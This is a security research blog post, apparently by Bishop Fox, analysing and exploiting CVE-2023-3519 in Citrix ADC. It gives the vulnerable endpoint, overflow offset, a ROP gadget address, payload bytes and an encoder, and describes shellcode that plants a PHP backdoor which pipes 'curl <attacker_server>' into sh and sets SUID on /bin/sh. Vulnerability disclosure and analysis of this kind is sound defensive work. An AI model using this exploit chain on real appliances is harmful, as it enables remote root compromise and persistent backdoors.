Analysis and Exploitation of CVE-2023-3519
2023-8-5 07:0:0 Author: bishopfox.com(查看原文) 阅读量:10 收藏

Background

On July 18, Citrix announced a critical remote code execution vulnerability in Citrix ADC which had been observed being exploited in the wild. Researchers very quickly identified that the vulnerability was most likely present in the NetScaler Packet Parsing Engine, nsppe, but the vulnerability was initially thought to be a complicated heap-based bug which required SAML to be enabled.

Bishop Fox analyzed the patches in parallel with other researchers and identified a separate, simpler vulnerability, which we demonstrated in a blog post on July 21. At the time, we did not release a full proof-of-concept due to the number of unpatched devices on the internet. However, at this point customers have had two weeks to patch and Rapid7 has released a full exploit, and there are reports of mass exploitation (rather than only targeted exploitation), so we are releasing our analysis of the vulnerability.

Patch Analysis and Static Analysis

We started out by downloading and diffing the nsppe binaries for Citrix VPX 13.1-48.47 and 13.1-49.13 using Ghidra, BinExport, and BinDiff. Based on function names alone, we could see that most changed functions were related to crypto routines and AAA functionality.

BinDiff output showing a list of changed functions

FIGURE 1 - BinDiff output showing a list of changed functions

Based on the advisory from Citrix, we assumed that the bug was probably in the AAA-related functions, which start with ns_aaa_. This reduced the number of changed functions from around forty down to seven. Four of these functions had names such as ns_aaa_saml_parse_* and examining the differences in more detail showed promise. As it turns out, this vulnerability was addressed by Rapid7 in an AttackerKB article and a blog post by Assetnote. While we saw the added length checks mentioned in those posts, we decided to continue looking at the three remaining AAA functions that had changed just to be complete. This led us to the ns_aaa_gwtest_get_event_and_target_names function, which had a new length check that was added before URL-decoding some data into a buffer.

BinDiff function graph showing that a new check has been added, comparing some value against 0x7f


FIGURE 2 - BinDiff function graph showing that a new check has been added, comparing some value against 0x7f

This seemed like it would be simpler to exploit than any potential SAML-related vulnerabilities, so after finding nothing of interest in the other two changed AAA functions, we decided to start with this vulnerability. After spending some time in Ghidra, we determined that:

  • The buffer being written to is 0x80 bytes and allocated on the stack by ns_gwtest_get_valid_fsso_server
  • There are no stack cookies and ASLR is not enabled, so a simple linear stack overflow without any information leak would be feasible
  • The function can be reached by a GET request to /gwtest/formssso?
  • The specific code segment can be reached if we set the parameters event=start&target=foo

Dynamic Analysis

At this point, we pulled out the debugger and immediately ran into the same problems that Rapid7 identified: the nsppe process handles networking and is monitored by the pitboss watchdog, so halting it results in our SSH session dropping and pitboss triggering a reboot. Rapid7 worked around these issues by disabling pitboss monitoring for nsppe with the shell command nsppe-00 pbmonitor 0 and using the console for debugging. We worked around this issue in a less convenient way by adding our commands to a gdb script and logging to a file, so we could inspect output in case we trigger a reboot.

We started by validating that we could reach the target function and code segment using the following gdb script:

set pagination off
set logging file /nsconfig/gdb.log
set logging on 
b *ns_aaa_gwtest_get_event_and_target_names
commands 
  c
end

b *0xc82e4f
commands
  c
end 
c

We then attached gdb to the nsppe process, passing the path to the gdb script with the -x flag. Since the script immediately continues after setting up breakpoints, and immediately continues after hitting breakpoints, we can debug without triggering the watchdog.

We sent a GET request to /gwtest/formssso?event=start&target=AAAA and observed that our breakpoints were hit, which confirmed that our static analysis was correct. We then sent the same GET request with 0x100 A’s and observed that nsppe crashed.

Exploitation

Now that we had a crash, the next step was to determine the offset of the return pointer. We did this by sending 0x80 A’s followed by 0x80 alphabetic characters, and replacing the breakpoints in our gdb script with the following:

define hook-stop
  i r
  x/16gx $rsp-0x40 
  c
end

This dumps the registers and the stack whenever the program crashes so we can inspect the output. After running this, we observed RIP was overwritten by the data that was placed at offset 0xa8.

The next step is to decide what to jump to. We noticed that the stack was executable, and since ASLR was disabled, we could have simply jumped directly into the stack. However, to make it easier to adapt the payload to other versions we opted for a ROP gadget which jumps to the stack instead. We found a push rsp; ret; gadget at 0x2778c04. We added a jump instruction immediately after the saved return address to jump to the start of the buffer and then placed an int 3 instruction at the start of the buffer. At this point, the payload looks like:

payload =b'\xcc' + b'A'*0xa7 # "shellcode" 
payload+= struct.pack("<Q", 0x2778c04) # &(push rsp; ret;) 
payload+= b'\xe9\xb5\x00\x00\x00' # jmp to start of shellcode 

Since this address includes null bytes and values outside of the normal ASCII range, we had to URL-encode the data. Unfortunately, the URL-decoding function used by the vulnerable function does not handle certain data correctly, so before we could send the payload, we had to implement URL-encoding. Specifically, the URL-decoding function only properly handles encoded data below 0xa0. Luckily, invalid characters above 0x9f will be left untouched, so we can still simply not escape these characters.

def url_encode(data):
       out=b''
       for i in data:
           if i>0x9f: out+=bytes([i])
           else: out+='%{:02x}'.format(i).encode()
       return out

This function URL-encodes all bytes below 0xa0, and leaves anything else unmodified.

Once this was complete, we sent our payload and observed that the program encountered a SIGTRAP, confirming that we hit the int 3 instructions at the start of our buffer. At this point, the next step was to create shellcode.

Shellcode and avoiding a crash

Our initial attempt at shellcode simply loaded a string and jumped to the address of system(). Unfortunately, this turned out to be unreliable for some unknown reason. Due to our less-than-ideal debugging setup, we decided to hand-write some shellcode.

Our shellcode writes a backdoor to /var/netscaler/logon/a.php and sets the SUID bit on /bin/sh so the payload can run as root. The backdoor is a compact PHP payload which runs curl <attacker_server>|sh and returns the output in the HTTP response, which allows us to easily deploy payloads without the risk of leaving an unauthenticated PHP shell exposed to the internet. After some modest size optimizations, we were able to fit this into the 0x80-byte buffer.

We added this shellcode to the exploit script, and after a crash and reboot, we observed that we could send a request to /logon/a.php and run a payload hosted on our hardcoded attacker HTTP server.

The final step was to avoid crashing the program. We observe that if ns_aaa_gwtest_get_valid_fsso_server returns 0, the calling function immediately returns as well.

Screenshot showing how code  ns_aaa_gwtest_get_valid_fsso_server returns 0.

We also observed that the set of callee-saved in this function is a superset of the callee-saved registers saved by ns_aaa_gwtest_get_valid_fsso_server. As a result, if we jump directly into this if statement, any callee-saved registers that we may have clobbered will be safely restored if we ensure the stack pointer is correct when we jump to this code. After double checking our math for the stack pointer, we added push 0xc7f78d; ret; to the shellcode and re-ran the exploit. Our payload ran, nsppe didn’t crash, and we were able to get a callback.

We created a python script for generating shellcode given the fixup address and callback URL by calling nasm from Python. The final exploit with addresses for VPX version 13.1-48.47 is available on our GitHub.

Sample fo the python script for generating shellcode given the fixup address and callback URL by calling nasm from Python.

Final notes

The complete lack of exploit mitigations made this vulnerability extremely easy to exploit on VPX builds. For comparison, we were unable to exploit the CPX (containerized) builds of nsppe due to presence of a stack canary immediately following the buffer that we were overflowing. This follows the trend of missing exploit mitigations that we have observed in many networking appliances, including but not limited to PAN-OS and FortiGate. We hope that vendors will take note of the importance of enabling basic compile-time exploit mitigations, as they can make exploitation of many common bugs difficult or impossible while imposing minimal performance penalties.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


文章来源: https://bishopfox.com/blog/analysis-exploitation-cve-2023-3519
如有侵权请联系:admin#unsafe.sh